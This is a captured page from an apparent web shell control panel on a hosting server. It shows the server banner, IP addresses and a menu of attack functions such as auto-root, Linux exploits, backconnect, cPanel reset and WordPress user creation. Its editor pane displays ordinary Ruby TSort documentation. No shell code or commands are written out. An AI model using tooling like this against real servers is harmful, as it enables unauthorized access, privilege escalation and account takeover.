Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
share /
ri /
1.8 /
system /
TSort /
[ HOME SHELL ]
Name
Size
Permission
Action
Cyclic
[ DIR ]
drwxr-xr-x
cdesc-TSort.yaml
4.91
KB
-rw-r--r--
each_strongly_connected_compon...
651
B
-rw-r--r--
each_strongly_connected_compon...
572
B
-rw-r--r--
strongly_connected_components-...
433
B
-rw-r--r--
tsort-i.yaml
443
B
-rw-r--r--
tsort_each-i.yaml
555
B
-rw-r--r--
tsort_each_child-i.yaml
396
B
-rw-r--r--
tsort_each_node-i.yaml
380
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cdesc-TSort.yaml
--- !ruby/object:RI::ClassDescription attributes: [] class_methods: [] comment: - !ruby/struct:SM::Flow::P body: TSort implements topological sorting using Tarjan's algorithm for strongly connected components. - !ruby/struct:SM::Flow::P body: TSort is designed to be able to be used with any object which can be interpreted as a directed graph. - !ruby/struct:SM::Flow::P body: TSort requires two methods to interpret an object as a graph, tsort_each_node and tsort_each_child. - !ruby/object:SM::Flow::LIST contents: - !ruby/struct:SM::Flow::LI label: "*" body: tsort_each_node is used to iterate for all nodes over a graph. - !ruby/struct:SM::Flow::LI label: "*" body: tsort_each_child is used to iterate for child nodes of a given node. type: :BULLET - !ruby/struct:SM::Flow::P body: The equality of nodes are defined by eql? and hash since TSort uses Hash internally. - !ruby/struct:SM::Flow::H level: 2 text: A Simple Example - !ruby/struct:SM::Flow::P body: "The following example demonstrates how to mix the TSort module into an existing class (in this case, Hash). Here, we're treating each key in the hash as a node in the graph, and so we simply alias the required #tsort_each_node method to Hash's #each_key method. For each key in the hash, the associated value is an array of the node's child nodes. This choice in turn leads to our implementation of the required #tsort_each_child method, which fetches the array of child nodes and then iterates over that array using the user-supplied block." - !ruby/struct:SM::Flow::VERB body: " require 'tsort'\n\n class Hash\n include TSort\n alias tsort_each_node each_key\n def tsort_each_child(node, &block)\n fetch(node).each(&block)\n end\n end\n\n {1=>[2, 3], 2=>[3], 3=>[], 4=>[]}.tsort\n #=> [3, 2, 1, 4]\n\n {1=>[2], 2=>[3, 4], 3=>[2], 4=>[]}.strongly_connected_components\n #=> [[4], [2, 3], [1]]\n" - !ruby/struct:SM::Flow::H level: 2 text: A More Realistic Example - !ruby/struct:SM::Flow::P body: "A very simple `make' like tool can be implemented as follows:" - !ruby/struct:SM::Flow::VERB body: " require 'tsort'\n\n class Make\n def initialize\n @dep = {}\n @dep.default = []\n end\n\n def rule(outputs, inputs=[], &block)\n triple = [outputs, inputs, block]\n outputs.each {|f| @dep[f] = [triple]}\n @dep[triple] = inputs\n end\n\n def build(target)\n each_strongly_connected_component_from(target) {|ns|\n if ns.length != 1\n fs = ns.delete_if {|n| Array === n}\n raise TSort::Cyclic.new("cyclic dependencies: #{fs.join ', '}")\n end\n n = ns.first\n if Array === n\n outputs, inputs, block = n\n inputs_time = inputs.map {|f| File.mtime f}.max\n begin\n outputs_time = outputs.map {|f| File.mtime f}.min\n rescue Errno::ENOENT\n outputs_time = nil\n end\n if outputs_time == nil ||\n inputs_time != nil && outputs_time <= inputs_time\n sleep 1 if inputs_time != nil && inputs_time.to_i == Time.now.to_i\n block.call\n end\n end\n }\n end\n\n def tsort_each_child(node, &block)\n @dep[node].each(&block)\n end\n include TSort\n end\n\n def command(arg)\n print arg, "\\n"\n system arg\n end\n\n m = Make.new\n m.rule(%w[t1]) { command 'date > t1' }\n m.rule(%w[t2]) { command 'date > t2' }\n m.rule(%w[t3]) { command 'date > t3' }\n m.rule(%w[t4], %w[t1 t3]) { command 'cat t1 t3 > t4' }\n m.rule(%w[t5], %w[t4 t2]) { command 'cat t4 t2 > t5' }\n m.build('t5')\n" - !ruby/struct:SM::Flow::H level: 2 text: Bugs - !ruby/object:SM::Flow::LIST contents: - !ruby/struct:SM::Flow::LI label: "*" body: "'tsort.rb' is wrong name because this library uses Tarjan's algorithm for strongly connected components. Although 'strongly_connected_components.rb' is correct but too long." type: :BULLET - !ruby/struct:SM::Flow::H level: 2 text: References - !ruby/object:SM::Flow::LIST contents: - !ruby/struct:SM::Flow::LI label: R. body: E. Tarjan, "Depth First Search and Linear Graph Algorithms", type: :UPPERALPHA - !ruby/struct:SM::Flow::P body: <em>SIAM Journal on Computing</em>, Vol. 1, No. 2, pp. 146-160, June 1972. constants: [] full_name: TSort includes: [] instance_methods: - !ruby/object:RI::MethodSummary name: each_strongly_connected_component - !ruby/object:RI::MethodSummary name: each_strongly_connected_component_from - !ruby/object:RI::MethodSummary name: strongly_connected_components - !ruby/object:RI::MethodSummary name: tsort - !ruby/object:RI::MethodSummary name: tsort_each - !ruby/object:RI::MethodSummary name: tsort_each_child - !ruby/object:RI::MethodSummary name: tsort_each_node name: TSort superclass:
Close